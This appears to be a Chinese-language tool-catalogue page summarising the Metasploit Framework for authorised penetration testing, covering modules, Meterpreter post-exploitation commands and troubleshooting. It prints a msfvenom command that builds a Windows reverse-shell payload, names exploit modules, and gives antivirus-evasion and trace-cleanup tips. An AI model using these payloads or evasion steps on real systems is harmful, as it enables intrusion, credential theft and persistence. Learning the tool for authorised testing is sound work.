SuperAPI AI 工具集

Metasploit Framework

安全与审计

查看项目

更新于 10-15 13:51

技能介绍

用途

Metasploit Framework 用于全面的渗透测试,覆盖从初始利用到后渗透的各个环节。它提供统一平台进行漏洞利用、载荷生成、辅助扫描,并在已授权安全评估中维持对受控系统的访问。使用者需具备网络与系统基础、对漏洞与利用的理解、基本编程概念以及目标枚举技术;还需具备书面测试授权、对目标系统的网络访问,并理解范围与交战规则。

主要能力

资料按阶段描述核心工作流:MSFConsole 基础操作(help、search、use、info、show options、set、run/exploit、back、exit);模块类型(exploit 利用模块、payload 载荷模块、auxiliary 辅助模块、post 后渗透模块、encoder 编码器、nop 填充、evasion 规避);模块搜索(按名称、CVE、平台、类型、rank 等过滤);配置利用(设置 RHOSTS、RPORT、PAYLOAD、LHOST、LPORT,使用 check 验证,exploit/run 执行);载荷类型与命名约定(single、stager、stage,如 windows/x64/meterpreter/reverse_tcp、php/meterpreter/reverse_tcp、java/meterpreter/reverse_https、android/meterpreter/reverse_tcp);Meterpreter 会话操作(sysinfo、getuid、getpid、文件系统操作、ps/migrate/kill、ipconfig/netstat/route/portfwd、getsystem/getprivs、hashdump、凭据收集、screenshot、键盘记录、shell、background 与 sessions);辅助模块进行侦察(SMB/SSH/FTP/HTTP 扫描、端口扫描、暴力破解);后渗透模块(凭据收集、系统枚举、权限提升、持久化、pivoting/autoroute)。

使用方式

资料说明 Metasploit 在 Kali Linux 上预装;其他系统可通过如下命令安装: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall ./msfinstall 并需启动 PostgreSQL 数据库支持:sudo systemctl start postgresql 与 sudo msfdb init。

使用 msfconsole 启动控制台,通过 search 查找模块、use 选择模块、show options/info 查看配置、set 设置选项、run 或 exploit 执行。利用成功后进入 Meterpreter 提示符进行后渗透操作。使用 msfvenom 生成独立载荷,例如: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe 并通过 exploit/multi/handler 配置监听器接收连接,-j 参数可将监听作为后台任务运行。

适用场景

适用于已获书面授权的渗透测试与安全评估,包括目标枚举、漏洞利用、载荷生成、辅助扫描、后渗透信息收集、凭据获取、权限提升、持久化与内网横向(pivoting)等环节。资料列出常见利用模块(如 exploit/windows/smb/ms17_010_eternalblue、exploit/multi/http/tomcat_mgr_upload、exploit/unix/webapp/wp_admin_shell_upload 等)作为参考。

限制

法律方面:仅可在自有或已获书面授权的系统上使用;须记录所有测试活动;遵守交战规则;向相关方报告所有发现。

技术方面:现代 AV/EDR 可能检测 Metasploit 载荷;部分利用需要特定目标配置;防火墙规则可能阻断反向连接;并非所有利用适用于所有目标版本。

操作安全方面:尽可能使用加密通道(如 reverse_https);测试后清理痕迹;避免被监控系统检测;将后渗透限制在约定范围内。

排错方面:数据库未连接可运行 sudo msfdb init、启动 PostgreSQL 后执行 db_connect;利用失败或无会话可运行 check、核对载荷架构、检查防火墙、更换载荷;会话立即断开可迁移至稳定进程、使用 stageless 载荷、检查 AV 或使用 AutoRunScript;载荷被查杀可使用编码 -e x86/shikata_ga_nai -i 10、使用规避模块或自定义模板。

输出与交付物包括:利用证据(截图与日志)、会话日志(命令历史与提取数据)、漏洞映射(含 CVE 参考)、后渗透产物(凭据、文件与系统信息)。